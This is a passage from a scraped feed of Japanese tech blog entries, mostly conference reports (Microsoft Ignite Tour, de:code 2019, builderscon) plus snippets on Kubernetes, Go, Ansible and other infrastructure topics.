Microsoft の Tech イベントに参加しました。www.microsoft.com概要アメリカで行われた Ignite のセッションを再演登壇者は他人の資料で発表 (翻訳以上の改変はできないと聞きました)新情報の発表等はされず、通常セッションとハンズオンのみMicrosoft エキスパートとの交流の場外国人のスタッフを多数配置基本的には英語でやり取りするらしい (私は話しませんでした)感想外国人が多く、グローバルな印象を受けました。会場はいつものホテルでしたが、やはりセッションの入れ替え時は非常に混雑します。ブースのエリアはスペースを広くとってあり、割と閑散としていた気がします (セッション中は特に)。技術的には初級者向けの内容が多かったと思います。セッションよりは、どちらかといえばコミュニケーションを重視したイベントのようでした。MSの方やブースの担当者と話すことができ、有意義な時間を過ごせました。参加して得るものはありました。セッション参加セッションのまとめとメモ。THR30031 - Azure とコマンドライン－オプション、ヒント、テクニック難易度：初級メモエクスプローラーでcmdをパスに入力(powershell、wslも)Windows Console → Windows TerminalTerminalはStoreで入手可能Azure CLIやVSCode RemoteはサラッとAPPS30 - コンテナーを利用したアプリケーションの最新化資料：https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps30難易度：初級要点コンテナ、Dockerの基礎的な説明コンテナランタイムやマルチステージビルド等は、軽く話に出る程度コンテナに関しては特に知らない話はなかったACRやACIの概要、使い方の軽い説明サービス移行のデモではコンテナ化してApp Service、CosmosDB、SQL Databaseを使用メモデータセンターのアプリをクラウドにLift&Shift仮想マシンはいいけど無駄が多いコンテナを使ったモダナイゼーションアプリの境界を明確にする旧バージョンの残りファイルがなくなるオーバーヘッドなしでリソース分離繰り返し可能なビルド、環境構築コンテナを使う理由あらゆる環境で同じように動作するベロシティの向上コンテナの仕組み高度に構成されたプロセスcgroupsnamespaceベースイメージからの差分をgzip化したものコンテナランタイムの軽い説明Docker以外にも対応、containerd、runCDockerfileイメージのビルド方法を説明するテキストファイルバッチスクリプトみたいなものビルドリポジトリACRACIサーバーレスのコンテナ実行環境ハイパーバイザーレベルの分離デモサービス移行の話APPS40 - インフラストラクチャと Azure Kubernetes Service を統合する資料：https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps40難易度：中級要点AKSの作成手順の説明AKSとAzureの連携サービスについて知識を整理できたオートスケールの話は理解が浅かったので参考になったAKSを使う最大のメリットはAzureADとの連携ネットワークとセキュリティの話は非常に参考になったネットワークポリシーやAZメモ基本的な使い方ではなく、発展的な内容Tailwind Tradaersのデモ経営、ビジネス課題に対応復元力セキュリティ柔軟性スケールKubernetesを選択する理由抽象化のための標準化されたAPI自己修復スケーラビリティk8sアーキテクチャAKSはマスターノードが無料で提供されるネットワークに2種類指定できるデフォルトはkubenetAzure CNI 仮想ネットワークを使用。大規模ネットワークに対応。きちんと設計する必要があるACIを仮想ノードとして使用AZAKSの作成リソースグループ仮想ネットワークサブネットサービスプリンシパル(k8sから他のリソースを作成)クラスタ本番クラスタを作成するにはオプションを多数指定する必要がある作成時にしか設定できないオプションがあるインストール時にCNI、AZの設定をする仮想ノードの有効化ACIをAKSから使えるようにする必要があるRabbitMQ is 何？HPAメトリクスサーバーにPodから情報が送られる閾値を超えたらスケールクラスタオートスケーラーノードのスケール仮想ノードLinux、Windows、GPUに対応nodeselectorで指定仮想ノードによるスケールのデモネットワークとセキュリティACRでコンテナの脆弱性をチェックAKSを使う最大のメリットはAzureADとの連携！Azure Key VaultPod間の通信Pod IdentityNMI Server(Daemonset)MICAzure Identity BindingネットワークポリシーPod間トラフィックの保護Azure Network PolicyAzure CNIを使ったPodブリッジレベルCalico Network PolicyカーネルレベルAZベータ版データセンター障害の回復性ゾーンは3つまで使用可能ゾーンの数に合わせてレプリカ数を設定THR10007 - ITと技術者の将来について語り合うエモい話要点ディスカッション形式コミュニティ参加やアウトプットを重視しているどんどんチャレンジしてスキルをつけていくことが大事メモ今後あるいは10年後どうなる？これからチャレンジしたいことは？MRフリーランス自分の営業をこれからも続けていく自分が何が得意で、何が苦手かアピールブルーオーシャンを探したいコミュニティのエンパワーメント出てこない人にどうやって技術を好きになってもらうか社内コミュニティを作ってもらうお勧めしたいことは？技術を楽しんで、周りに広めていく仲間ができてコミュニティができる人を変えるのは難しい、好きなことを広めることならできる楽しんでる雰囲気を出していると向こうから来てくれる自分の強みを知って、それを発信していく業務で触ってなくてもコミュニティで発表いていたやりたいこと、好きなことを見つけて、人が見える場所に出していく外のコミュニティに参加してみる会社にいるだけではスキルはプロジェクト依存コミュニティの熱量がすごいアウトプットすると強い人がインプットをくれるとりあえず踏み出してみる楽しんだもの勝ちやりたいことを素直にやってみるUNC10013 - Vue.js 3 に向けた Vue.js 入門難易度：初級～中級要点Vue.js の設計思想、V3 でも使える構文、V3 の新機能コンポジッションAPI関数ベースで提供される APIコンポーネントのロジックが綺麗になるV2 でもお試しで使えるブース立ち寄ったブースの中で、興味を持った内容を紹介します。LenovoLenovo ThinkSystem SE350 | レノボジャパン軽量でコンパクトなエッジサーバーWifi、LTE、有線ネットワーク対応Intel製品概要: OpenVINO™ ツールキットエッジでのディープラーニング推論アプリケーション開発学習済みモデルを無料で利用可能インテルCPUに対応PivotalAzure Spring Cloud | Microsoft DocsSpring Boot アプリをクラウドで実行ベータ版のサービスAKS 上にデプロイされる水平スケールやメトリクス、ログの収集が可能AKS は隠蔽されているため、ユーザーからは見えない手軽に導入できるので POC にも適している","link":"https://kyohmizu.hatenablog.com/entry/2019/12/10/012041","isoDate":"2019-12-09T16:20:41.000Z","dateMiliSeconds":1575908441000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Zero Scale Abstraction in Knative Serving - Part1","contentSnippet":"Serverless Days Tokyo 2019 の Zero Scale Abstraction in Knative Serving というセッションの内容を書き起こしたものです。スピーカー…","link":"https://qiita.com/toVersus/items/9fa635e9cf57643f8dd6","isoDate":"2019-10-23T13:20:58.000Z","dateMiliSeconds":1571836858000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"LPIC 102 チートシート","contentSnippet":"試験前の確認事項としてまとめた内容です。環境変数ロケールディレクトリ・ファイル文字コードIPアドレスのクラスプライベートアドレスポート変数envsetshellのオプションエ…","link":"https://qiita.com/kyohmizu/items/d5d6fedc527efa9f649c","isoDate":"2019-10-09T01:56:54.000Z","dateMiliSeconds":1570586214000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"LPIC 101チートシート","contentSnippet":"試験前の確認事項としてまとめた内容です。環境変数デバイスファイルファイルシステムディレクトリ・ファイルsystemdのユニットvi正規表現dpkg設定ファイル /etc/dpkg/…","link":"https://qiita.com/kyohmizu/items/923844999018fd456d44","isoDate":"2019-10-09T01:48:33.000Z","dateMiliSeconds":1570585713000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"builderscon2019はスタッフ参加でもめちゃくちゃ学びがあった","contentSnippet":"毎年参加しているbuilderscionなんですが、今年はボランティアスタッフとして参加してきたので、そのレポートを書いてみたいと思います。スタッフ参加の動機ボランティアスタッフ参加の動機なんですが、実は最近、自身のモチベーションの低下に危機感を覚えたからでした。builderscon tokyo 2019 当日ボランティアスタッフ募集を開始します！ https://t.co/bhE6XJ0GyL— Builderscon (@builderscon) June 26, 2019また、最近は社内でゲームコミュニティを運営していて、外部向けにイベントを開催することもあるので大きめのカンファレンスでノウハウを吸収できそうと思ったところもありました。スタッフからの学び初めて大きなカンファレンスのスタッフをやってみていろいろな気づきや学びがありました。顔合わせスタッフ申込後、本番1ヶ月前にスタッフミーティングと称した顔合わせの機会がありました。機材大きなカンファレンスでは配信機材どうやってるんだろう？という興味があったのですが、今回はセッション部屋担当になったということもありじっくり拝見させていただきました。機材の詳細についてはblog書こうかな〜と長谷川さんがおっしゃってたので楽しみにまっておくことにします。簡単に説明すると、画面の入力は2系統PCビデオカメラ音声入力はミキサー登壇者だけではなく司会や質問者の声も録画に入るようになっていたハードウェアエンコーダのキャプチャボードを挟んでOBSで画面を作ってPC(入力)、ビデオカメラ、セッションのタイトルを合成セッション時の画面以外にも幕間のCMやセッション前の画面などが事前に準備されている場面に応じて出力を切り替えるという仕組みが構築されていました。コミュニケーション技術カンファレンスはとにかく楽しいというのを知っているので、せっかくスタッフやってるんだし1人でも多くの来場者にも楽しんでもらえるよう積極的にやろう！という思いでやったのでいろんな方に声をかけられたような気がします。Tipsとか細かい話必須系アイテム(自分用にあるとよいグッズ)サコッシュや小さなバッグモバイルバッテリーカッターナイフ養生テープとペンペットボトルをぶら下げられるやつがあると便利なんだかんだで力仕事や運搬系作業が多いので軍手は必要スタッフルームに高そうなお弁当が置いてあったらそれはスピーカーに用意されたものかもしれない(間違えて食べてしまった)余ってるからといってお弁当を食べすぎると後で痛い目をみるスタッフもエンジニアが多いからかすぐに作業を手順化、最適化をし始めるケチらずに宿泊したのは正解だった感想前夜祭から準備を初めて計3日。疲れはしましたがいちスタッフとして最高に楽しませてもらいました、ありがとうございました！ひとこと感想スタッフTシャツがおしゃれだったノベルティのストラップがおしゃのおしゃだった(常用してる)最後に私が関東に移り住んで初めて参加したカンファレンス、YAPC::Asia Tokyo 2014からちょうど5年。何らかの形でこれからも関わっていきたいと思っているのでまたどこかでお会いしましょう！最後につね様とのいつものツーショットでお別れしたいと思います。それではごきげんよう！いつものツーショット pic.twitter.com/hpCdaGDZGv— jigyakkuma (@jigyakkuma_) August 30, 2019(こちらはNature Inc. CTOのSongmuさんに撮っていただいた1枚)","link":"https://blog.jigyakkuma.org/2019/09/02/builderscon2019/","isoDate":"2019-09-02T00:18:22.000Z","dateMiliSeconds":1567383502000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"de:code 2019 参加レポート","contentSnippet":"Microsoft主催のテクニカルカンファレンス「de:code 2019」に参加してきました。www.microsoft.com参加セッション1日目コンテナ技術を中心にセッションを選択【KN01】基調講演【CD06】しくみがわかる Azure Kubernetes Service (AKS) ～開発者目線で Kubernetes の基本を理解する～【CD01】Windows Containers と Azure による、既存 .NET アプリケーションのモダナイゼーション【CD91】HashiCorp Terraform Azure Provider チュートリアル【CD12】マネージド Kubernetes ガチ本番運用 in ZOZOTOWNwww.youtube.com2日目コンテナ・セキュリティのセッションを選択【SE07】脆弱性はなぜ生まれ、どのように攻撃されるのか? 安全なアプリを開発、運用するためのきほん【CD93】コンテナ環境の永続化ストレージ問題を NetApp Kubernetes Service と Azure NetApp Files でさらっと解決【CM12】.NET Core マルチ プラットフォームの本質【SE05】もうセキュリティはやりたくない!! 第 3 弾 ～Azure Sentinel Deep Dive～注目技術参加したセッションの中で、特に印象に残った or 関心のある技術を取り上げます。Azure Kubernetes Service(AKS)Azureのマネージド Kubernetes サービスである AKS ですが、導入事例が増えてきているそうです。ノロジーズをはじめ、いくつかの企業が自社の導入について講演していました。Kubernetes に概要や操作に関しては特筆することはありませんでしたが、Azure関連の技術として以下に興味を持ちました。Kubernetes-based Event-driven Autoscaling(KEDA)Microsoft と Red Hatが共同作成したプロジェクト。イベント駆動でコンテナのオートスケールを実現します。GitHub - kedacore/keda: KEDA is a Kubernetes-based Event Driven Autoscaling component. It provides event driven scale for any container running in KubernetesVirtual Kubeletkubelet のように動作し、Kubernetes と他のAPIを接続する役割を果たすもの。VM と同じように Kubernetes クラスタで一元管理できます。GitHub - virtual-kubelet/virtual-kubelet: Virtual Kubelet is an open source Kubernetes kubelet implementation.Windows コンテナサポートWindows Server Node が、Kubernetes クラスタで Linux Node と同時に管理できるようになりました。AKS では Multiple Node Pool を使用することで Windows Server Node を作成できます。チュートリアルを試しましたが、なぜかクラスタ作成に失敗)Windows containers now supported in Kubernetes - Open Source blogAzure NetApp FilesNetApp 社の高速ストレージサービス。SSD 並みの速度が出るそうで、Kubernetes の永続化ボリュームとして有用だと思います。また NetApp Kubernetes Service という Kubernetes 管理サービスも提供しているようです。(Rancher みたいなもの？)Azure NetApp Files documentation | Microsoft DocsAzure SentinelAI を使用した高機能なセキュリティサービス。Azure Sentinel | Microsoft Azureその他Azure DevOpsAzure PiplineApp ServiceService FabricWSL2感想Azureに関連したテーマのセッションがほとんどでした。クラウドサービスは以前に比べ使いやすくなっていて、機能も充実してきた印象です。AKS、AzureADの動向は今後も注目していこうと思います。LT資料社内勉強会で de:code の recap を発表しました。 Recap of de code 2019 from Kyohei Mizumoto www.slideshare.netおまけ2日間のお昼のお弁当です。1日目2日目","link":"https://kyohmizu.hatenablog.com/entry/2019/06/06/111805","isoDate":"2019-06-06T02:18:05.000Z","dateMiliSeconds":1559787485000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Kubernetesリンク集","contentSnippet":"Kubernetes関連の役立つリンクを記載します。公式リファレンスReference - KubernetesKubectl Reference DocsPhippy and Friends - Cloud Native Computing FoundationGitHubGitHub - kubernetes/kubernetes: Production-Grade Container Scheduling and ManagementGitHub - kelseyhightower/kubernetes-the-hard-way: Bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts.GitHub - jamiehannaford/what-happens-when-k8s: \uD83E\uDD14 What happens when I type kubectl run?プロダクトGoogle Kubernetes Engine documentation \xa0|\xa0 Kubernetes Engine \xa0|\xa0 Google CloudAzure Kubernetes Service (AKS) Documentation - Tutorials, API Reference | Microsoft DocsWhat Is Amazon EKS? - Amazon EKSDocumentation | Rancher LabsK3s: Kightweight KubernetesPivotal Container Service (PKS) | Pivotalスライド、ブログ等Kubernetes のソースコードとの付き合い方 #gounco / Kubernetes source code reading - Speaker DeckKubernetes Patterns : Capacity PlanningKubeWeekly - QiitaKubernetesのユーザー管理と認証・権限確認機構を理解しよう | さくらのナレッジ書籍Kubernetes完全ガイド - インプレスブックス","link":"https://kyohmizu.hatenablog.com/entry/2019/05/28/115504","isoDate":"2019-05-28T02:55:04.000Z","dateMiliSeconds":1559012104000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"【20日チャレンジ】LinuxコマンドをGoで実装","contentSnippet":"Go言語の学習のため、LinuxコマンドをGoで実装します。\\r目的\\r\\rGo言語に慣れる\\r標準パッケージの機能、使い方を知る\\r\\rルール\\r以下のルールでチャレンジを行います。\\r\\r1日1コマンドを実装する\\r最低限、コマンドの基本的な動作(オプションなしの実行など)を行えるようにする\\r余裕があれば追加機能を実装する\\rコマンド名は\\"my\\" + \\"Linuxコマンド名\\"とする\\r極力標準パッケージを使用する\\r\\rソースコード\\rソースコードはGithubで管理します。\\rhttps://github.com/kyohmizu/go-cli-tools\\rスケジュール\\r\\r\\r\\rNo\\r日付\\rコマンド\\r基本実装\\rオプション\\r学習内容\\r\\r\\r1\\r5/23\\rmyls\\r〇\\r\xa0\\r\\rディレクトリ操作\\rエラー処理\xa0\\r\\r\\r\\r2\\r5/24\\rmycp\\r〇\\r△\\rファイル操作\\r\\r\\r3\\r5/25\\rmymv\\r〇\\r△\\r\xa0\\r\\r\\r4\\r5/26\\rmyrm\\r〇\\r△\\r\xa0\\r\\r\\r5\\r5/27\\rmycat\\r〇\\r△\\r\xa0\\r\\r\\r6\\r5/28\\rmycurl\\r〇\\r△\\r\\rhttp接続の実装\\rオプションの複数回指定\\r\\r\\r\\r7\\r5/29\\rmypwd\\r〇\\r△\\r\xa0OSによる条件分岐\\r\\r\\r8\\r5/30\\rmytouch\\r〇\\r△\\rbuild tagの設定\xa0\\r\\r\\r9\\r5/31\\rmymkdir\\r〇\\r△\\r\xa0ファイルの操作権限\\r\\r\\r10\\r6/1\\rmykill\\r〇\\r〇\\rプロセスとシグナル\xa0\\r\\r\\r11\\r6/2\\rmyecho\\r〇\\r-\\r引数の取得\\r\\r\\r12\\r6/3\\rmytime\\r△\\r-\\r\\rコマンド実行\\rtimeの操作\\r\\r\\r\\r13\\r6/4\\rmychmod\\r△\\r-\\r\\rbit演算\\rファイルの権限\\r\\r\\r\\r14\\r6/5\\rmyyes\\r〇\\r〇\\r\xa0\\r\\r\\r15\\r6/6\\rmyenv\\r〇\\r△\\r\\rwindowsで確認不可\\r\\r\\r\\r16\\r6/7\\rmychown\\r〇\\r△\\r\\ruser,group操作\\rwindowsで確認不可\\r\\r\\r\\r17\\r6/8\\rmygrep\\r〇\\r△\\r\\rgrepの操作\\rgoの正規表現\\r\\r\\r\\r18\\r6/9\\rmysleep\\r〇\\r△\\r\xa0\\r\\r\\r19\\r6/10\\rmymkdir\\r〇\\r△\\r\xa0\\r\\r\\r20\\r6/11\\rmyln\\r〇\\r△\\rリンクの操作\\r\\r\\r\\r\xa0\\r成果\\r\\rGoの構文や記法に慣れてきた\\rGo標準パッケージの使い方、調べ方を覚えた\\rLinuxコマンドの動作を知ることができた\xa0\\r\\r感想\\r20日も書けば、ある程度書けるようになることがわかりました。\\r普段使用するC#とGoが似ている点も覚えやすかったのだと思います。\\r次はGoでAPIを作成してみようと考えています。","link":"https://kyohmizu.hatenablog.com/entry/2019/05/23/172119","isoDate":"2019-05-23T08:21:19.000Z","dateMiliSeconds":1558599679000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Istioが作るサービスメッシュ~サンプルアプリのデプロイ~","contentSnippet":"サンプルアプリ題材: BookInfo アプリケーション※ 事前にIstioをKubernetesにデプロイしておいてください．構成サンプルアプリのデプロイistio-1.0.6 dire…","link":"https://qiita.com/tozastation/items/1f3c3f213b42e1689406","isoDate":"2019-03-14T05:18:21.000Z","dateMiliSeconds":1552540701000,"authorName":"tozastation","authorId":"tozastation"},{"title":"2018年振り返りと、2019年の目標","contentSnippet":"2018年5月末から、エンジニアリングに関する様々な活動を行ってきました。\\r1年の終わりにそれらの活動をまとめ、2019年の目標を記したいと思います。\\r\\r2018年の活動\\r2018年は積極的に新しい技術へチャレンジし、勉強会を通して素晴らしい方々に出会うことができました。\\r新たに触れた技術・ツール\\r\\rGitHub\\rNode.js\\rAngular\\rGolang\\rCentOS\\rDocker\\rKubernetes\\rAzure\\rGCP\\rOWASP ZAP\\rLINE BOT/Clova\\rAgile\\rペアプログラミング/モブプログラミング\\r\\r勉強会・カンファレンス\\r\\rLINE Developer Meetup\\rde:code 2018\\rAzureもくもく会\\rng-japan 2018\\rSQL Server 2017勉強会\\rInteract 2018\\rCCSE 2018\\rThink Japan IBM Code Day\\rJXUG Xamarinハンズオン\\rCosmos DBハンズオン\\rくじらや Dockerハンズオン\\rLINE Clovaスキル開発ハンズオン\\rLINE BOOT AWARDS 2018 ハッカソン\\rGDG DevFest Tokyo 2018\\rXP祭り\\rAzureML勉強会\\rBIT VALLEY 2018\\r.NET Conf 2018\\rContainer SIG Meet-up\\rテスト管理を語る夕べ\\rAVTOKYO\\rアジャイル相談室\\rOSSセキュリティ技術の会\\rJapan Container Days\\r\\r※Japan Container Daysはスタッフとして参加させてもらいました。\\r書籍\\r読了\\r\\r徹底攻略 データベーススペシャリスト教科書\\r徹底攻略 ネットワークスペシャリスト教科書\\rショートコードプログラミング 第3版\\r新装版 達人プログラマー\\rSQLアンチパターン\\rインフラエンジニアの教科書2\\rプログラマのためのDocker教科書 第2版\\rDocker/Kubernetes 実践コンテナ開発入門\\r\\r読みかけ\\r\\r体系的に学ぶ 安全なWebアプリケーションの作り方 第2版\\r\\r社内の活動\\r\\r技術交流、コミュニケーション促進のためチャンネルを開設\\r社内勉強会を主催\\rモブプログラミング・ペアプログラミングを開始\\r\\r資格\\r合格\\r\\rデータベーススペシャリスト\\r\\r不合格\\r\\rネットワークスペシャリスト\\r\\r午後Ⅰが1点足りず…\\rその他\\r\\rはてなブログを開設\\rQiitaアドベントカレンダーに参加\\r\\r2019年の目標\\r7ヶ月間の活動の中で、様々な技術分野にチャレンジした結果、インフラ・セキュリティへの関心が強いことがわかりました。\\r2019年はContainerを中心にインフラのスキルを身に着け、セキュリティ分野の知見を広めていきます。\\r書籍\\r\\r体系的に学ぶ 安全なWebアプリケーションの作り方 第2版\\rKubernetes完全ガイド\\rハッカーの学校\\rテスト駆動開発\\r徹底マスター JavaScriptの教科書\\rドメイン駆動設計\\rハッキング・ラボのつくりかた\\r\\r資格\\r\\rLPIC Level1\\r情報処理安全確保支援士\\rネットワークスペシャリスト","link":"https://kyohmizu.hatenablog.com/entry/2018/12/31/231740","isoDate":"2018-12-31T14:17:40.000Z","dateMiliSeconds":1546265860000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"モバイルファクトリーのインフラアーキテクチャというアドベントカレンダー書いてました","contentSnippet":"ちょっと過去の話ですが、会社の技術ブログで書いてました。tech.mobilefactory.jp","link":"https://blog.masasuzu.net/entry/2018/12/22/000000","isoDate":"2018-12-21T15:00:00.000Z","dateMiliSeconds":1545404400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"kubernetesにあるIngress Controller�の一覧を挙げてみる","contentSnippet":"はじめにIngress ControllerはL7 Load Balancerの機能を果たすものであり、Ingressリソースはそのルールを定義したものです。このIngress Controlle…","link":"https://qiita.com/skikkh/items/c59de1f5e188d0bbeb35","isoDate":"2018-12-17T14:21:33.000Z","dateMiliSeconds":1545056493000,"authorName":"skikkh","authorId":"skikkh"},{"title":"日本語でvimのfを使う","contentSnippet":"fvimではf, F, t, Tを使うことで、瞬時に目的の文字上にカーソルを移動することができます。動作faでカーソルから右側の方向の１番近い「a」の位置に移動することができます。3faでカ…","link":"https://qiita.com/atsuya0/items/d90bb3f4b8e538c028a9","isoDate":"2018-12-04T06:03:39.000Z","dateMiliSeconds":1543903419000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"[Docker] awslogs-datetime-format の指定方法に注意","contentSnippet":"[Docker] awslogs-datetime-format の指定方法に注意背景Dockerの awslogs ログドライバでは，awslogs-datetime-format オプション…","link":"https://qiita.com/toshikish/items/59a3a4426930e29f0673","isoDate":"2018-11-07T03:23:50.000Z","dateMiliSeconds":1541561030000,"authorName":"toshikish","authorId":"toshikish"},{"title":"ローカル環境でAnsibleの鍵交換がめんどくさい貴方に送るプラクティス","contentSnippet":"はじめに平成の時分も終わりに近づく中、野分立ち尽くす天災に人々は翻弄され、お家で過ごすのを余儀なくされる日が多いように思います。^1今日のような一日は、自然とQiitaにたどり着き、PVが増…","link":"https://qiita.com/skikkh/items/ca236c512d314691b35c","isoDate":"2018-09-30T09:33:37.000Z","dateMiliSeconds":1538300017000,"authorName":"skikkh","authorId":"skikkh"},{"title":"builderscon2018もやっぱり最高だった","contentSnippet":"いやー、今回のbuildersconも楽しかったですね〜！さっそくですが、今回のbuidlersconでもたくさんの刺激をいただけたので、その感想などをとりとめなく書き留めておきます。カンファレンスに思うこと今回のbuildersconについてあれこれ書く前に3年くらいこの手のカンファレンスに参加してきて感じていることについて少し。・ 失敗体験、そこから得た学び・ 苦悩したプロセス・ 検証における自分なりの答えみたいなのが特におもしろいと思っている。個人的によかったセッション前夜祭、本編含めどのセッションもとても楽しませていただきましたが、その中でも個人的によかったと思うものをいくつか紹介します。[知らなかった、時に困るWebサービスのセキュリティ対策]こちらはGMOペパボ株式会社 @tnmtさんのセッションです。siteslide何がよかったって、会社で起こった不正アクセスの情報漏えいについて誠実に内容を発表されてたことですよね。[つらくないマルチテナンシーを求めて: 全て見せます！ SmartHR データベース移行プロジェクトの裏側]こちらは株式会社SmartHR @purintaiさんのセッションです。siteslideSmartHRのエンジニアの方と話す機会があって、その時にもマルチテナントで苦労している、というお話を聞いたことがあってその全貌が聞けるというので楽しみにしていました。[なぜ私はキーボードを作るのか]こちらもGMOペパボ株式会社の方で@j_o_lantern0422さんのセッションです。siteslide私も自キ勢なのでセッションが楽しみと言うより他社の自キ勢の方と知り合えたのがよかったです。全体を通しての感想テーマの一つとして「ギーク達のお祭り」となっているので、やっぱり濃い内容のセッションが多くて、刺激と知見が得られるのは本当レベル高い。よかったことアフターパーティーでのことなんですが、懇親会でメンターとかマネジメントとか評価とかの他社の話が聞けて最高すぎたしそういうセッションを聞きたい人がビルコンに来る層にわりと居そうだなと思ったので何かバリューを出せるようにやっていくかーという決意表明— jigyakkuma (@jigyakkuma_) September 7, 2018ということがあって、@shiba_yu36さんと互いの会社において包み隠さず濃い意見交換できたのがめちゃくちゃありがたかったです。スタッフへのフィードバック牧さんがスタッフに対してもフィードバックほしい！と渇望されていたので書きます。強い人にベストトークの票が偏りがち問題は新人賞(初めてbuildersconで登壇した人の最多得票)みたいな枠でも設けたらいいのでは、というアイディアメインホール入口に受付があるのでどうしても混雑しがち(構造上しゃーないとも思う)ノベルティの水は置いてたら喉乾いた人が適当に飲むから常設しておいてほしかった(最後に無理やり渡すのはスポンサーにも失礼な感じがした)各部屋のキャパシティが限界を越えてて観たいセッションが見れないというのがいくつかあったので次はもう少し規模を大きくしてパシフィコとかでやるんだろうなーという期待個人的には前回あったオサレな朝食はよかったので今回なくなったのは寂しかった(諸事情でなくなったんだろうということで理解はしてる)とはいえ、全体を通してみたときの満足度や快適度はかなり高かったと思う(悪いところを拾い上げればキリがないし)こんな感じでしょうか。最後に最近、感情をなくして仕事をただただこなすマンになってて元気がなかったんですが、いろんな方とお話しさせていただいたりセッションを聞いてたくさん力をもらえたような気がします。こういったカンファレンスが開催できるコミュニティを今後も大事にしていくべきなんだろうなーと思い、これからも微力ながらサポーターとして応援します！","link":"https://blog.jigyakkuma.org/2018/09/08/builderscon2018/","isoDate":"2018-09-08T04:02:26.000Z","dateMiliSeconds":1536379346000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"新人が学ぶAnsibleもくもく会 ネットワーク編 報告会","contentSnippet":"はじめにお久しぶりのエントリになります。新卒でインフラエンジニアをしている小心者のひよこです。このような職種に身をおいてはや5ヶ月というところで、世の中を幅広く見渡してみると、どうやら世は大…","link":"https://qiita.com/skikkh/items/156c677e07ffc6b5b4ef","isoDate":"2018-08-29T14:34:09.000Z","dateMiliSeconds":1535553249000,"authorName":"skikkh","authorId":"skikkh"},{"title":"[Laravel] バリデーションデータに前処理したい","contentSnippet":"[Laravel] バリデーションデータに前処理したい当てはまるケースフォーム入力データとデータベース保存データの形式が違う．例えば…全角・半角変換先頭・末尾の空白を取り除くユーザーには0…","link":"https://qiita.com/toshikish/items/f38b691adbebd7ba7720","isoDate":"2018-06-12T09:27:45.000Z","dateMiliSeconds":1528795665000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Git リポジトリを分割する","contentSnippet":"以下のようなディレクトリ構造のリポジトリを分割する方法を場合分けしてまとめます。repo1/ ├─ subdir/ ├─ aaa ├─ bbb ├─ ccc └─ dddケース1：サブディレクト…","link":"https://qiita.com/toshikish/items/3529f75c511a65723798","isoDate":"2018-04-11T10:14:22.000Z","dateMiliSeconds":1523441662000,"authorName":"toshikish","authorId":"toshikish"},{"title":"ブログを GCS Hosting から GAE に移行して https 化","contentSnippet":"blogをhttpsにするといって幾星霜— jigyakkuma (@jigyakkuma_) March 4, 2018ということで重い腰を上げて取り掛かることにしました。腰が重かった理由がいくつかありまして、ブログはHUGOで generate してるので静的コンテンツが配信できればいいGCS が https 化してくれるのを待っていた静的コンテンツの配信に GAE はなーという想いなどがあって目をそむけ続けてましたが、https に切り替えないとダメだーというギリギリのタイミングでやるとろくなことがない気がしたのでやることにしました。GAE で SSL をマネージドしてくれるようになったのでそれを使うことにします。移行前の準備まずは GAE で動いているものがないので移行して動くことを確認できる環境を作ります。goappを使ってローカル環境で動作確認が行えるようCloud SDK for Goを入れておきます。goaap serveでローカルでサーバが立ち上がるので localhost:8080 でブラウザから確認できます。ひとつ注意点としては hugo 自体は build されないので、記事を書いてコンテンツの内容を確認するのであればhugo server -wを使うのがよいです。goapp はあくまでも GAE として動作するかの確認に使います。移行作業GAE への移行作業自体はこちらのブログでわかりやすく解説されているので参考にしました。secure: alwaysですが、SSL 証明書の適用は GCP のコンソールより GAE →設定を開いてカスタムドメインの追加をしておく必要があります。デプロイデプロイは今までどおり CircleCIで行うのですが、ローカルでデプロイできるのを確認してから CircleCI の config.yml を書くことにします。Cloud SDKを入れて、以下の command で対象プロジェクトを設定しておきます。gcloud config set project [GCP project ID]その後はデプロイは該当プロジェクトのディレクトリに移動してgcloud app deployを叩くだけでデプロイできます。デプロイできるのを確認できたら、ブログの repository においてある.circleci/config.yml を差し替えます。ひとつポイントをあげるとすると、GAE はバージョンを指定しないとバージョンごとにインスタンスを作ってくれるのですが、ブログの運用くらいだとオーバースペックなので(前バージョンに戻す必要はないので)デプロイ時にオプションでバージョン固定にしています。最後にここまでくれば作業は完了です。あとは今まで同様、markdown で記事を書いて commit すればブログが更新されます。めでたしめでたし。","link":"https://blog.jigyakkuma.org/2018/03/09/gcs-to-gae/","isoDate":"2018-03-08T23:30:37.000Z","dateMiliSeconds":1520551837000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"YAPC::Okinawa 2018 ONNASON に参加できて最高だった話","contentSnippet":"はいさーい！みなさんお元気ですか？YAPC::Okinawa 2018 ONNASON を堪能して帰路の途中です。約 6 年ほど前に今の会社に転職してからいろいろなカンファレンスに参加させていただきましたが、飛行機に乗るようなカンファレンスに行けるとは思ってもいなかったので今回は本当にうれしい経験となりました。JPA主催になってからの YAPC は初めてだったのですが、スタッフの方々も参加者も暖かみのある雰囲気があって「あー！これこれ！！」となり、やっぱりこの界隈のコミュニティが好きだなと再認識できました。謝辞スタッフの皆さま、運営ありがとうございました。前夜祭では登壇を含めいろいろお世話になり感謝でございます。次は場所を提供いただきました沖縄科学技術大学院大学(OIST)です。今回講堂をメインホールとしてお借りしましたが、椅子の座り心地、各席のコンセント配備や使いやすいテーブルなど非常に快適に聴講することができました。沖縄科学技術大学院大学、自然に囲まれたこの広いキャンパスで学べるの、最高の環境ぽい pic.twitter.com/6a681jtQmi— jigyakkuma (@jigyakkuma_) March 3, 2018　